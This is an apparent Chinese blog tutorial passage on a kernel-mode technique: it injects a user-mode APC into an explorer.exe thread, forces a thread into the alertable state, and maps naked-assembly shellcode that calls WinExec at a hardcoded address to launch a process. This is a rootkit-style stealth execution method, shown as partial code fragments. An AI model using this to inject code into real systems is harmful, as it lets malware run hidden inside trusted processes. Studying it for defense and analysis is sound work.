创建进程

  我们创建进程的思路如下:

  1.遍历系统进程列表,找到explore.exe。explore.exe是桌面交互进程,一般来说Windows里面都存在,而且它里面处于Wait状态的线程很多(可以用sysinternals的工具ProcessExplorer查看进程中的线程信息,当然线程有alertable的也有non-alertable的,后面将在代码看到他们如何处理)。explore.exe就是我们插入APC的良好宿主。

  2.一旦我们找到了explore.exe,我们需要在里面找到一个alertable的线程。如果找不到,我们就将代码指针保存在一个non-alertable的线程中,将它ApcState.UserApcPending设置为TRUE,这样就将此线程设置为alertable的了。

  3.我们事先得到explore进程的Eprocess指针,还有它其中一个线程的Ethread指针。接下来我们就将我们的APC对象(包含我们要在用户态执行的代码)插入线程的APC队列,然后在它执行完的时候,我们释放为这个APC分配的内存资源。

  而我所指的"我们要在用户态执行的代码",就是在用户态创建一个特定的进程。APC被执行的时,这个用户态进程就被创建了。

  要在用户态执行的代码为RunProcess(LPSTR lpProcess),其中lpProcess参数就是要创建的进程EXE文件所在的绝对路径。

      void RunProcess(LPSTR lpProcess)
  {
  PEPROCESS pTargetProcess = NULL;
  PKTHREAD pTargetThread = NULL;
  PKTHREAD pNotAlertableThread = NULL;
  PEPROCESS pSystemProcess = NULL;
  PETHREAD pTempThread = NULL;
  PLIST_ENTRY pNextEntry, pListHead, pThNextEntry;
  //…
  }

  首先我们获得"System"进程的Eprocess指针。

      pSystemProcess = PsGetCurrentProcess();
  //运行在 PASSIVE_LEVEL 中断级

  pSystemProcess->ActiveProcessLinks是一个LIST_ENTRY 结构,这个链表里面含有指向其他活动进程Eprocess的指针(我们通常所说的"活动进程链表")。我们可以在里面获得explore.exe进程的Eprocess以及它里面的一个线程Ethread。(理论上可以用任何进程,但实际情况,插入APC很可能让CSRSS,SVCHOST进程Crash)。找到目标后,我们就可以插入我们的APC了

      if(!pTargetThread)
  {
  //没有找到alertable线程, 那么找一个non-alertable的
  pTargetThread = pNotAlertableThread;
  }
  if(pTargetThread)
  {
  DbgPrint("KernelExec -> Targeted thread: 0x%p",
  pTargetThread);
  //得到了目标线程,插入APC
  InstallUserModeApc(lpProcess,
  pTargetThread,
  pTargetProcess);
  }
  InstallUserModeApc 原型:
  CODENTSTATUS
  InstallUserModeApc(
  IN LPSTR lpProcess,
  IN PKTHREAD pTargetThread,
  IN PEPROCESS pTargetProcess);

  其中pTargetProcess是目标进程explore.exe的Eprocess指针,pTargetThread是我们的APC即将插入的线程KTHREAD指针。接着我们就为APC和映射我们代码的内存描述表(MDL)分配内存:

      PRKAPC pApc = NULL;
  PMDL pMdl = NULL;
  ULONG dwSize = 0; //我们要执行的代码尺寸
  pApc = ExAllocatePool (NonPagedPool,sizeof (KAPC));
  dwSize = (unsigned char*)ApcCreateProcessEnd-
  (unsigned char*)ApcCreateProcess;
  pMdl = IoAllocateMdl (ApcCreateProcess, dwSize, FALSE,FALSE,NULL);
  //查找可写内存页面,并将其Lock,不会产生页交换.
  MmProbeAndLockPages (pMdl,KernelMode,IoWriteAccess);

  这样我的APC就准备好了,pMdl驻留在内存中,映射到我们的用户态代码(就是ApcCreateProcess()。如果Explore.exe没有访问内核区域的权限,它怎么能调用我们的APC例程呢?

      KAPC_STATE ApcState;
  //附着到Explore.exe的进程空间
  KeStackAttachProcess(&(pTargetProcess->Pcb),&ApcState);
  //将我们的代码物理页面映射到进程空间
  pMappedAddress =
  MmMapLockedPagesSpecifyCache(pMdl,
  UserMode,
  MmCached,
  NULL,FALSE,
  NormalPagePriority);

  我们来看看我们的APC代码,它将映射到Explorer的进程地址空间。

      //naked调用规则
  __declspec(naked)
  void ApcCreateProcess(
  PVOID NormalContext,
  PVOID SystemArgument1,
  PVOID SystemArgument2)
  {
  __asm
  {
  mov eax,0x7C86136D//WinExec函数地址这里是硬编码,调试器看到的,仅做测试用,实际情况下你可以选择更好的方式寻找它.
  push 1
  nop
  push 0xabcd
  call eax
  jmp end
  nop
  nop
  …..//400个 nop
  end:
  nop
  ret 0x0c
  }
  }
  void ApcCreateProcessEnd(){}
  //这句用来标志我们代码结束的地方

发表评论

电子邮件地址不会被公开。 必填项已用*标注